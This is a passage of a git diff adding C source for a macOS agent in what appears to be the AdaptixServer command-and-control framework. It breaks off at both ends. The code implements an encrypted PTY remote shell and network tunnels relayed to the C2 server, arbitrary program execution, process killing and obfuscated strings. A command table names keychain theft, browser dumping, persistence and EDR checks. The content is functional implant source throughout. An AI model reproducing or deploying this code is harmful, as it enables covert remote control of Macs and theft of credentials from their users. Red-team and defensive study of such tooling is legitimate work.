uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(proto)) { ax_memcpy(proto, v, vl); proto[vl] = '\0'; } + } else if (kl == 10 && ax_memcmp(k, "channel_id", 10) == 0) { + uint64_t v; + if (mp_read_uint(&r, &v) == 0) channel_id = (int)v; + else { + int64_t sv; + if (mp_read_int(&r, &sv) == 0) channel_id = (int)sv; + } + } else if (kl == 7 && ax_memcmp(k, "address", 7) == 0) { + const char* v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(address)) { ax_memcpy(address, v, vl); address[vl] = '\0'; } + } else { + mp_skip(&r); + } + } + + if (proto[0] == '\0' || channel_id < 0 || address[0] == '\0') { + write_error(w, "missing tunnel params"); + return 0; + } + + job_context_t* ctx = &g_job_ctx; + + // Allocate tunnel slot + R_pthread_mutex_lock(&ctx->tunnels_mutex); + int idx = -1; + for (int i = 0; i < MAX_TUNNELS; i++) { + if (!ctx->tunnels[i].active) { + idx = i; + ax_memset(&ctx->tunnels[i], 0, sizeof(tunnel_entry_t)); + ctx->tunnels[i].srv_conn.fd = -1; + ctx->tunnels[i].client_fd = -1; + ctx->tunnels[i].channel_id = channel_id; + ctx->tunnels[i].active = 1; + break; + } + } + R_pthread_mutex_unlock(&ctx->tunnels_mutex); + + if (idx < 0) { write_error(w, "max tunnels reached"); return 0; } + + // Prepare thread args + tunnel_args_t* targs = (tunnel_args_t*)ax_malloc(sizeof(tunnel_args_t)); + targs->tunnel_idx = idx; + targs->channel_id = channel_id; + ax_strncpy(targs->proto, proto, sizeof(targs->proto) - 1); + ax_strncpy(targs->address, address, sizeof(targs->address) - 1); + + R_pthread_create(&ctx->tunnels[idx].thread, (void*)0, tunnel_thread, targs); + R_pthread_detach(ctx->tunnels[idx].thread); + + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "tunnel starting"); + return 0; +} + +int task_tunnel_stop(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + int ch_id = parse_channel_id(data, data_len); + if (ch_id < 0) { write_error(w, "missing channel_id"); return 0; } + + int idx = tunnels_find(&g_job_ctx, ch_id); + if (idx < 0) { write_error(w, "tunnel not found"); return 0; } + + g_job_ctx.tunnels[idx].canceled = 1; + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "tunnel stopped"); + return 0; +} + +int task_tunnel_pause(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + int ch_id = parse_channel_id(data, data_len); + if (ch_id < 0) { write_error(w, "missing channel_id"); return 0; } + + int idx = tunnels_find(&g_job_ctx, ch_id); + if (idx < 0) { write_error(w, "tunnel not found"); return 0; } + + g_job_ctx.tunnels[idx].paused = 1; + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "tunnel paused"); + return 0; +} + +int task_tunnel_resume(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + int ch_id = parse_channel_id(data, data_len); + if (ch_id < 0) { write_error(w, "missing channel_id"); return 0; } + + int idx = tunnels_find(&g_job_ctx, ch_id); + if (idx < 0) { write_error(w, "tunnel not found"); return 0; } + + g_job_ctx.tunnels[idx].paused = 0; + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "tunnel resumed"); + return 0; +} + +// ── Terminal ── +// Go: ParamsTerminalStart{TermId int, Program string, Width int, Height int} +// Spawns thread → opens PTY → connects to C2 → bidirectional AES-CTR relay + +// PTY helper: fork with pseudo-terminal +static int pty_fork(const char* program, int width, int height, int* master_fd, int* child_pid_out) { + int master = R_posix_openpt(O_RDWR | O_NOCTTY); + if (master < 0) return -1; + + if (R_grantpt(master) != 0 || R_unlockpt(master) != 0) { + R_close(master); + return -1; + } + + char* slave_name = R_ptsname(master); + if (!slave_name) { + R_close(master); + return -1; + } + + int pid = R_fork(); + if (pid < 0) { + R_close(master); + return -1; + } + + if (pid == 0) { + // Child + R_close(master); + R_setsid(); + + int slave = R_open(slave_name, O_RDWR, 0); + if (slave < 0) R_exit(1); + + // Set terminal size + struct winsize ws; + ws.ws_col = (unsigned short)width; + ws.ws_row = (unsigned short)height; + ws.ws_xpixel = 0; + ws.ws_ypixel = 0; + R_ioctl(slave, TIOCSWINSZ, &ws); + + // Set as controlling terminal + R_ioctl(slave, TIOCSCTTY, 0); + + R_dup2(slave, 0); + R_dup2(slave, 1); + R_dup2(slave, 2); + if (slave > 2) R_close(slave); + + // Set TERM environment + R_setenv("TERM", "xterm-256color", 1); + + extern char*** _NSGetEnviron(void); + char** environ = *_NSGetEnviron(); + char* argv_term[] = { (char*)program, (char*)0 }; + R_execve(program, argv_term, environ); + R_exit(1); + } + + // Parent + *master_fd = master; + *child_pid_out = pid; + return 0; +} + +typedef struct { + int terminal_idx; + int term_id; + char program[256]; + int width; + int height; +} terminal_args_t; + +static void* terminal_thread(void* arg) { + terminal_args_t* targs = (terminal_args_t*)arg; + job_context_t* ctx = &g_job_ctx; + + R_pthread_mutex_lock(&ctx->terminals_mutex); + terminal_entry_t* term = &ctx->terminals[targs->terminal_idx]; + R_pthread_mutex_unlock(&ctx->terminals_mutex); + + // Create PTY + int alive = 1; + char status_msg[256] = {0}; + + if (pty_fork(targs->program, targs->width, targs->height, + &term->pty_master, &term->child_pid) != 0) { + alive = 0; + ax_strcpy(status_msg, "PTY creation failed"); + } + + // Open connection to C2 + if (jobs_open_connection(ctx, &term->srv_conn) != 0) { + if (term->pty_master >= 0) R_close(term->pty_master); + if (term->child_pid > 0) R_kill(term->child_pid, 9); + term->active = 0; + ax_free(targs, sizeof(terminal_args_t)); + return (void*)0; + } + + // Generate per-terminal AES keys + uint8_t term_key[16], term_iv[16]; + ax_random_bytes(term_key, 16); + ax_random_bytes(term_iv, 16); + + // Send TermPack init + mp_writer_t pack_w; + mp_writer_init(&pack_w, 256); + mp_write_map(&pack_w, 6); + mp_write_kv_uint(&pack_w, "id", ctx->agent_id); + mp_write_kv_int(&pack_w, "term_id", targs->term_id); + mp_write_kv_bin(&pack_w, "key", term_key, 16); + mp_write_kv_bin(&pack_w, "iv", term_iv, 16); + mp_write_kv_bool(&pack_w, "alive", alive ? true : false); + mp_write_kv_str(&pack_w, "status", status_msg); + + if (jobs_send_init(ctx, &term->srv_conn, JOB_TERMINAL, + pack_w.buf.data, (uint32_t)pack_w.buf.len) != 0) { + mp_writer_free(&pack_w); + if (term->pty_master >= 0) R_close(term->pty_master); + if (term->child_pid > 0) R_kill(term->child_pid, 9); + conn_close(&term->srv_conn); + term->active = 0; + ax_free(targs, sizeof(terminal_args_t)); + return (void*)0; + } + mp_writer_free(&pack_w); + + if (!alive) { + conn_close(&term->srv_conn); + term->active = 0; + ax_free(targs, sizeof(terminal_args_t)); + return (void*)0; + } + + // Set up AES-CTR streams with context (preserves partial block state) + aes128_ctr_ctx_t dec_ctx, enc_ctx; + aes128_ctr_init(&dec_ctx, term_key, term_iv); + aes128_ctr_init(&enc_ctx, term_key, term_iv); + + // Zero key material + ax_memset(term_key, 0, 16); + ax_memset(term_iv, 0, 16); + + // Bidirectional relay: PTY <-> C2 (AES-CTR encrypted) + uint8_t* buf = (uint8_t*)ax_malloc(TUNNEL_BUF_SIZE); + uint8_t* enc_buf = (uint8_t*)ax_malloc(TUNNEL_BUF_SIZE); + + int srv_fd = term->srv_conn.fd; + int pty_fd = term->pty_master; + + while (!term->canceled) { + fd_set rfds; + FD_ZERO(&rfds); + FD_SET(srv_fd, &rfds); + FD_SET(pty_fd, &rfds); + + int maxfd = srv_fd > pty_fd ? srv_fd : pty_fd; + struct timeval tv = { .tv_sec = 0, .tv_usec = 500000 }; + + int sr = R_select(maxfd + 1, &rfds, (void*)0, (void*)0, &tv); + if (sr < 0) { + if (errno == EINTR) continue; + break; + } + if (sr == 0) { + // Check if child process is still running + int wstatus; + int wr = R_waitpid(term->child_pid, &wstatus, WNOHANG); + if (wr > 0) break; // Child exited + continue; + } + + // Server → PTY (user input, decrypt) + if (FD_ISSET(srv_fd, &rfds)) { + ssize_t n = R_read(srv_fd, buf, TUNNEL_BUF_SIZE); + if (n <= 0) break; + + aes128_ctr_process(&dec_ctx, buf, enc_buf, (size_t)n); + + size_t written = 0; + while (written < (size_t)n) { + ssize_t wr = R_write(pty_fd, enc_buf + written, (size_t)n - written); + if (wr <= 0) goto term_cleanup; + written += (size_t)wr; + } + } + + // PTY → Server (shell output, encrypt) + if (FD_ISSET(pty_fd, &rfds)) { + ssize_t n = R_read(pty_fd, buf, TUNNEL_BUF_SIZE); + if (n <= 0) break; + + aes128_ctr_process(&enc_ctx, buf, enc_buf, (size_t)n); + + size_t written = 0; + while (written < (size_t)n) { + ssize_t wr = R_write(srv_fd, enc_buf + written, (size_t)n - written); + if (wr <= 0) goto term_cleanup; + written += (size_t)wr; + } + } + } + +term_cleanup: + ax_free(buf, TUNNEL_BUF_SIZE); + ax_free(enc_buf, TUNNEL_BUF_SIZE); + ax_memset(&dec_ctx, 0, sizeof(dec_ctx)); + ax_memset(&enc_ctx, 0, sizeof(enc_ctx)); + + // Kill shell process + if (term->child_pid > 0) { + R_kill(term->child_pid, 9); // SIGKILL + R_waitpid(term->child_pid, (void*)0, 0); + } + + if (term->pty_master >= 0) R_close(term->pty_master); + conn_close(&term->srv_conn); + + R_pthread_mutex_lock(&ctx->terminals_mutex); + term->active = 0; + R_pthread_mutex_unlock(&ctx->terminals_mutex); + + ax_free(targs, sizeof(terminal_args_t)); + return (void*)0; +} + +int task_terminal_start(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + // Parse ParamsTerminalStart{TermId, Program, Width, Height} + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + int term_id = -1; + char program[256] = {0}; + int width = 80, height = 24; + + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 7 && ax_memcmp(k, "term_id", 7) == 0) { + uint64_t v; + if (mp_read_uint(&r, &v) == 0) term_id = (int)v; + else { + int64_t sv; + if (mp_read_int(&r, &sv) == 0) term_id = (int)sv; + } + } else if (kl == 7 && ax_memcmp(k, "program", 7) == 0) { + const char* v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(program)) { ax_memcpy(program, v, vl); program[vl] = '\0'; } + } else if (kl == 5 && ax_memcmp(k, "width", 5) == 0) { + uint64_t v; mp_read_uint(&r, &v); width = (int)v; + } else if (kl == 6 && ax_memcmp(k, "height", 6) == 0) { + uint64_t v; mp_read_uint(&r, &v); height = (int)v; + } else { + mp_skip(&r); + } + } + + if (term_id < 0 || program[0] == '\0') { + write_error(w, "missing terminal params"); + return 0; + } + + job_context_t* ctx = &g_job_ctx; + + // Allocate terminal slot + R_pthread_mutex_lock(&ctx->terminals_mutex); + int idx = -1; + for (int i = 0; i < MAX_TERMINALS; i++) { + if (!ctx->terminals[i].active) { + idx = i; + ax_memset(&ctx->terminals[i], 0, sizeof(terminal_entry_t)); + ctx->terminals[i].srv_conn.fd = -1; + ctx->terminals[i].pty_master = -1; + ctx->terminals[i].child_pid = -1; + ctx->terminals[i].term_id = term_id; + ctx->terminals[i].active = 1; + break; + } + } + R_pthread_mutex_unlock(&ctx->terminals_mutex); + + if (idx < 0) { write_error(w, "max terminals reached"); return 0; } + + // Prepare thread args + terminal_args_t* ta = (terminal_args_t*)ax_malloc(sizeof(terminal_args_t)); + ta->terminal_idx = idx; + ta->term_id = term_id; + ax_strncpy(ta->program, program, sizeof(ta->program) - 1); + ta->width = width; + ta->height = height; + + R_pthread_create(&ctx->terminals[idx].thread, (void*)0, terminal_thread, ta); + R_pthread_detach(ctx->terminals[idx].thread); + + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "terminal starting"); + return 0; +} + +// Parse TermId from terminal stop params +static int parse_term_id(const uint8_t* data, uint32_t data_len) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) return -1; + + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) return -1; + if (kl == 7 && ax_memcmp(k, "term_id", 7) == 0) { + uint64_t v; + if (mp_read_uint(&r, &v) == 0) return (int)v; + int64_t sv; + if (mp_read_int(&r, &sv) == 0) return (int)sv; + return -1; + } + mp_skip(&r); + } + return -1; +} + +int task_terminal_stop(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + int tid = parse_term_id(data, data_len); + if (tid < 0) { write_error(w, "missing term_id"); return 0; } + + int idx = terminals_find(&g_job_ctx, tid); + if (idx < 0) { write_error(w, "terminal not found"); return 0; } + + g_job_ctx.terminals[idx].canceled = 1; + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "terminal stopped"); + return 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_net.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_net.h new file mode 100644 index 00000000..3a67bb9f --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_net.h @@ -0,0 +1,19 @@ +#ifndef TASKS_NET_H +#define TASKS_NET_H + +#include "msgpack.h" +#include + +/// Network command handlers — tunnel and terminal +/// These launch background threads with separate C2 connections +/// and bidirectional AES-CTR encrypted relays + +int task_tunnel_start(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_tunnel_stop(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_tunnel_pause(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_tunnel_resume(const uint8_t* data, uint32_t data_len, mp_writer_t* w); + +int task_terminal_start(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_terminal_stop(const uint8_t* data, uint32_t data_len, mp_writer_t* w); + +#endif // TASKS_NET_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_proc.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_proc.c new file mode 100644 index 00000000..2610f4b4 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_proc.c @@ -0,0 +1,286 @@ +#include "tasks_proc.h" +#include "crt.h" +#include "dyld_resolve.h" +#include "strings_obf.h" + +#include +#include +#include +#include +#include + +#ifdef DEBUG_TRACE +#include "syscalls_arm64.h" +static void _dbg(const char* msg) { + size_t len = 0; + const char* p = msg; + while (*p++) len++; + sys_write(2, msg, len); + sys_write(2, "\n", 1); +} +#else +#define _dbg(msg) ((void)0) +#endif + +static void write_error(mp_writer_t* w, const char* msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); +} + +int task_ps(mp_writer_t* w) { + // Get process list via sysctl(KERN_PROC_ALL) + int mib[4] = { CTL_KERN, KERN_PROC, KERN_PROC_ALL, 0 }; + size_t size = 0; + + if (R_sysctl(mib, 4, NULL, &size, NULL, 0) != 0) { + write_error(w, "sysctl size failed"); + return 0; + } + + uint8_t* buf = (uint8_t*)ax_malloc(size); + if (R_sysctl(mib, 4, buf, &size, NULL, 0) != 0) { + ax_free(buf, size); + write_error(w, "sysctl data failed"); + return 0; + } + + uint32_t nprocs = (uint32_t)(size / sizeof(struct kinfo_proc)); + struct kinfo_proc* procs = (struct kinfo_proc*)buf; + + // Build process list + mp_writer_t proc_writer; + mp_writer_init(&proc_writer, 4096); + mp_write_array(&proc_writer, nprocs); + + for (uint32_t i = 0; i < nprocs; i++) { + struct kinfo_proc* p = &procs[i]; + + // Get username from UID + struct passwd* pw = (struct passwd*)R_getpwuid(p->kp_eproc.e_ucred.cr_uid); + const char* user = pw ? pw->pw_name : ""; + + // TTY name + char tty[32] = ""; + if (p->kp_eproc.e_tdev != 0 && p->kp_eproc.e_tdev != (dev_t)-1) { + // Simplified — just show device number + ax_strcpy(tty, "?"); + } + + // PsInfo map (declaration order from Go struct) + mp_write_map(&proc_writer, 5); + mp_write_kv_int(&proc_writer, "pid", p->kp_proc.p_pid); + mp_write_kv_int(&proc_writer, "ppid", p->kp_eproc.e_ppid); + mp_write_kv_str(&proc_writer, "tty", tty); + mp_write_kv_str(&proc_writer, "context", user); + mp_write_kv_str(&proc_writer, "process", p->kp_proc.p_comm); + } + + ax_free(buf, size); + + // Response: AnsPs {result, status, processes} + mp_write_map(w, 3); + mp_write_kv_bool(w, "result", 1); + mp_write_kv_str(w, "status", ""); + mp_write_kv_bin(w, "processes", proc_writer.buf.data, (uint32_t)proc_writer.buf.len); + + mp_writer_free(&proc_writer); + return 0; +} + +int task_kill(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + // Parse ParamsKill {pid: int} + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + write_error(w, "invalid params"); + return 0; + } + + int target_pid = 0; + for (uint32_t i = 0; i < map_count; i++) { + const char* key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + if (klen == 3 && ax_memcmp(key, "pid", 3) == 0) { + int64_t v; + if (mp_read_int(&r, &v) == 0) target_pid = (int)v; + else { uint64_t u; mp_read_uint(&r, &u); target_pid = (int)u; } + } else { + mp_skip(&r); + } + } + + if (target_pid <= 0) { + write_error(w, "invalid pid"); + return 0; + } + + if (R_kill(target_pid, SIGKILL) != 0) { + write_error(w, "kill failed"); + return 0; + } + + mp_write_nil(w); + return 0; +} + +int task_shell(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + // Parse ParamsShell {program: string, args: []string} + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + write_error(w, "invalid params"); + return 0; + } + + DEOBF(default_shell, OBF_ZSH); + char program[4096]; + ax_strcpy(program, default_shell); + ZERO_STR(default_shell, OBF_ZSH); + char** args = NULL; + uint32_t arg_count = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char* key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + + if (klen == 7 && ax_memcmp(key, "program", 7) == 0) { + const char* val; uint32_t vlen; + if (mp_read_str(&r, &val, &vlen) == 0) { + if (vlen >= sizeof(program)) vlen = sizeof(program) - 1; + ax_memcpy(program, val, vlen); + program[vlen] = '\0'; + } + } else if (klen == 4 && ax_memcmp(key, "args", 4) == 0) { + uint32_t arr_count; + if (mp_read_array(&r, &arr_count) == 0) { + arg_count = arr_count; + args = (char**)ax_malloc(arr_count * sizeof(char*)); + for (uint32_t j = 0; j < arr_count; j++) { + const char* val; uint32_t vlen; + if (mp_read_str(&r, &val, &vlen) == 0) { + args[j] = (char*)ax_malloc(vlen + 1); + ax_memcpy(args[j], val, vlen); + args[j][vlen] = '\0'; + } else { + args[j] = (char*)ax_malloc(1); + args[j][0] = '\0'; + } + } + } + } else { + mp_skip(&r); + } + } + +#ifdef DEBUG_TRACE + { + _dbg("[SHELL] parsed params:"); + _dbg(program); + char abuf[64]; + int ai = 0; + const char* ap = "[SHELL] arg_count="; + while (*ap) abuf[ai++] = *ap++; + uint32_t av = arg_count; + char nb[12]; int ni = 0; + do { nb[ni++] = '0' + (av % 10); av /= 10; } while (av > 0); + while (ni > 0) abuf[ai++] = nb[--ni]; + abuf[ai] = '\0'; + _dbg(abuf); + for (uint32_t j = 0; j < arg_count && j < 4; j++) { + _dbg(args[j]); + } + } +#endif + + // Create pipes for stdout+stderr + int pipefd[2]; + if (R_pipe(pipefd) != 0) { + write_error(w, "pipe failed"); + goto cleanup; + } + + pid_t pid = R_fork(); + if (pid < 0) { + R_close(pipefd[0]); + R_close(pipefd[1]); + write_error(w, "fork failed"); + goto cleanup; + } + + if (pid == 0) { + // Child + R_close(pipefd[0]); + R_dup2(pipefd[1], STDOUT_FILENO); + R_dup2(pipefd[1], STDERR_FILENO); + R_close(pipefd[1]); + + // Build argv: [program, args..., NULL] + char** argv = (char**)ax_malloc((arg_count + 2) * sizeof(char*)); + argv[0] = program; + for (uint32_t j = 0; j < arg_count; j++) argv[j + 1] = args[j]; + argv[arg_count + 1] = NULL; + + // Use execve with environ from _NSGetEnviron (execvp may fail with -nostdlib) + extern char*** _NSGetEnviron(void); + char** environ = *_NSGetEnviron(); + R_execve(program, argv, environ); + R_exit(127); + } + + // Parent + R_close(pipefd[1]); + + // Read output + buffer_t output; + buf_init(&output, 4096); + char read_buf[4096]; + ssize_t n; + while ((n = R_read(pipefd[0], read_buf, sizeof(read_buf))) > 0) { + buf_append(&output, (uint8_t*)read_buf, (size_t)n); + } + R_close(pipefd[0]); + + int status; + R_waitpid(pid, &status, 0); + +#ifdef DEBUG_TRACE + { + char obuf[80]; + int oi = 0; + const char* op = "[SHELL] output_len="; + while (*op) obuf[oi++] = *op++; + size_t ov = output.len; + char nb[16]; int ni = 0; + do { nb[ni++] = '0' + (ov % 10); ov /= 10; } while (ov > 0); + while (ni > 0) obuf[oi++] = nb[--ni]; + const char* sp = " status="; + while (*sp) obuf[oi++] = *sp++; + int sv = WEXITSTATUS(status); + ni = 0; + do { nb[ni++] = '0' + (sv % 10); sv /= 10; } while (sv > 0); + while (ni > 0) obuf[oi++] = nb[--ni]; + obuf[oi] = '\0'; + _dbg(obuf); + } +#endif + + // Response: AnsShell {output} + // Null-terminate for safety + char nul = '\0'; + buf_append(&output, (uint8_t*)&nul, 1); + + mp_write_map(w, 1); + mp_write_kv_str(w, "output", (const char*)output.data); + buf_free(&output); + +cleanup: + if (args) { + for (uint32_t j = 0; j < arg_count; j++) { + if (args[j]) ax_free(args[j], ax_strlen(args[j]) + 1); + } + ax_free(args, arg_count * sizeof(char*)); + } + return 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_proc.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_proc.h new file mode 100644 index 00000000..f9ae2830 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_proc.h @@ -0,0 +1,11 @@ +#ifndef TASKS_PROC_H +#define TASKS_PROC_H + +#include "msgpack.h" +#include + +int task_ps(mp_writer_t* w); +int task_kill(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_shell(const uint8_t* data, uint32_t data_len, mp_writer_t* w); + +#endif // TASKS_PROC_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/types.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/types.h new file mode 100644 index 00000000..b1f27578 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/types.h @@ -0,0 +1,72 @@ +#ifndef TYPES_H +#define TYPES_H + +#include +#include + +/// Command codes — must match Go pl_utils.go exactly +#define COMMAND_ERROR 0 +#define COMMAND_PWD 1 +#define COMMAND_CD 2 +#define COMMAND_SHELL 3 +#define COMMAND_EXIT 4 +#define COMMAND_DOWNLOAD 5 +#define COMMAND_UPLOAD 6 +#define COMMAND_CAT 7 +#define COMMAND_CP 8 +#define COMMAND_MV 9 +#define COMMAND_MKDIR 10 +#define COMMAND_RM 11 +#define COMMAND_LS 12 +#define COMMAND_PS 13 +#define COMMAND_KILL 14 +#define COMMAND_ZIP 15 +#define COMMAND_SCREENSHOT 16 +#define COMMAND_RUN 17 +#define COMMAND_JOB_LIST 18 +#define COMMAND_JOB_KILL 19 + +// macOS-specific (21-30) +#define COMMAND_CLIPBOARD 21 +#define COMMAND_PERSIST 22 +#define COMMAND_TCC_CHECK 23 +#define COMMAND_DEFAULTS 24 +#define COMMAND_EDR_CHECK 25 +#define COMMAND_KEYCHAIN 26 +#define COMMAND_BROWSER_DUMP 27 + +#define COMMAND_TUNNEL_START 31 +#define COMMAND_TUNNEL_STOP 32 +#define COMMAND_TUNNEL_PAUSE 33 +#define COMMAND_TUNNEL_RESUME 34 + +#define COMMAND_TERMINAL_START 35 +#define COMMAND_TERMINAL_STOP 36 + +/// Pack types +#define INIT_PACK 1 +#define EXFIL_PACK 2 +#define JOB_PACK 3 +#define JOB_TUNNEL 4 +#define JOB_TERMINAL 5 + +/// Growable buffer +typedef struct { + uint8_t* data; + size_t len; + size_t cap; +} buffer_t; + +int buf_init(buffer_t* b, size_t initial_cap); +int buf_append(buffer_t* b, const void* data, size_t len); +void buf_free(buffer_t* b); +void buf_reset(buffer_t* b); + +/// Boolean for clarity +#ifndef bool +#define bool _Bool +#define true 1 +#define false 0 +#endif + +#endif // TYPES_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent_macos b/AdaptixServer/extenders/macos_agent/src_agent/agent_macos new file mode 100755 index 00000000..1356ec5f Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/agent_macos differ diff --git a/AdaptixServer/extenders/macos_agent/src_agent/files/config.tpl b/AdaptixServer/extenders/macos_agent/src_agent/files/config.tpl new file mode 100644 index 00000000..222cb613 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/files/config.tpl @@ -0,0 +1,72 @@ +/// Auto-generated config — per-payload unique profile data +/// This file is compiled with -x c and injected defines: +/// -DPROFILE_COUNT=N +/// -DPROFILE_0="..." -DPROFILE_0_SIZE=N +/// etc. +#ifndef CONFIG_H +#define CONFIG_H + +#include + +#ifndef PROFILE_COUNT +#define PROFILE_COUNT 0 +#endif + +#if PROFILE_COUNT > 0 + +// Profile data arrays — injected via -D defines at compile time +// Each profile is a hex-escaped byte string +static const uint8_t profile_0[] = { PROFILE_0 }; +static const uint32_t profile_0_size = sizeof(profile_0); + +#if PROFILE_COUNT > 1 +static const uint8_t profile_1[] = { PROFILE_1 }; +static const uint32_t profile_1_size = sizeof(profile_1); +#endif + +#if PROFILE_COUNT > 2 +static const uint8_t profile_2[] = { PROFILE_2 }; +static const uint32_t profile_2_size = sizeof(profile_2); +#endif + +#if PROFILE_COUNT > 3 +static const uint8_t profile_3[] = { PROFILE_3 }; +static const uint32_t profile_3_size = sizeof(profile_3); +#endif + +// Arrays for iteration +static const uint8_t* enc_profiles[] = { + profile_0, +#if PROFILE_COUNT > 1 + profile_1, +#endif +#if PROFILE_COUNT > 2 + profile_2, +#endif +#if PROFILE_COUNT > 3 + profile_3, +#endif +}; + +static const uint32_t enc_profile_sizes[] = { + profile_0_size, +#if PROFILE_COUNT > 1 + profile_1_size, +#endif +#if PROFILE_COUNT > 2 + profile_2_size, +#endif +#if PROFILE_COUNT > 3 + profile_3_size, +#endif +}; + +#else + +// No profiles — agent exits immediately +static const uint8_t* enc_profiles[] = { 0 }; +static const uint32_t enc_profile_sizes[] = { 0 }; + +#endif // PROFILE_COUNT > 0 + +#endif // CONFIG_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/agent_info.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/agent_info.o new file mode 100644 index 00000000..e4addacd Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/agent_info.o differ diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/commander.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/commander.o new file mode 100644 index 00000000..fa83bb52 Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/commander.o differ diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/connector.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/connector.o new file mode 100644 index 00000000..70b70773 Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/connector.o differ diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/crt.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/crt.o new file mode 100644 index 00000000..f4c1bd3f Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/crt.o differ diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/crypt.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/crypt.o new file mode 100644 index 00000000..a974b829 Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/crypt.o differ diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/dyld_resolve.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/dyld_resolve.o new file mode 100644 index 00000000..88c42aee Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/dyld_resolve.o differ diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/jobs.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/jobs.o new file mode 100644 index 00000000..ebad2b7c Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/jobs.o differ diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/main.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/main.o new file mode 100644 index 00000000..01534338 Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/main.o differ diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/msgpack.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/msgpack.o new file mode 100644 index 00000000..04047589 Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/msgpack.o differ diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/opsec.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/opsec.o new file mode 100644 index 00000000..79d1c7b8 Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/opsec.o differ diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_async.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_async.o new file mode 100644 index 00000000..30188600 Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_async.o differ diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_fs.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_fs.o new file mode 100644 index 00000000..09efc8c0 Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_fs.o differ diff --git 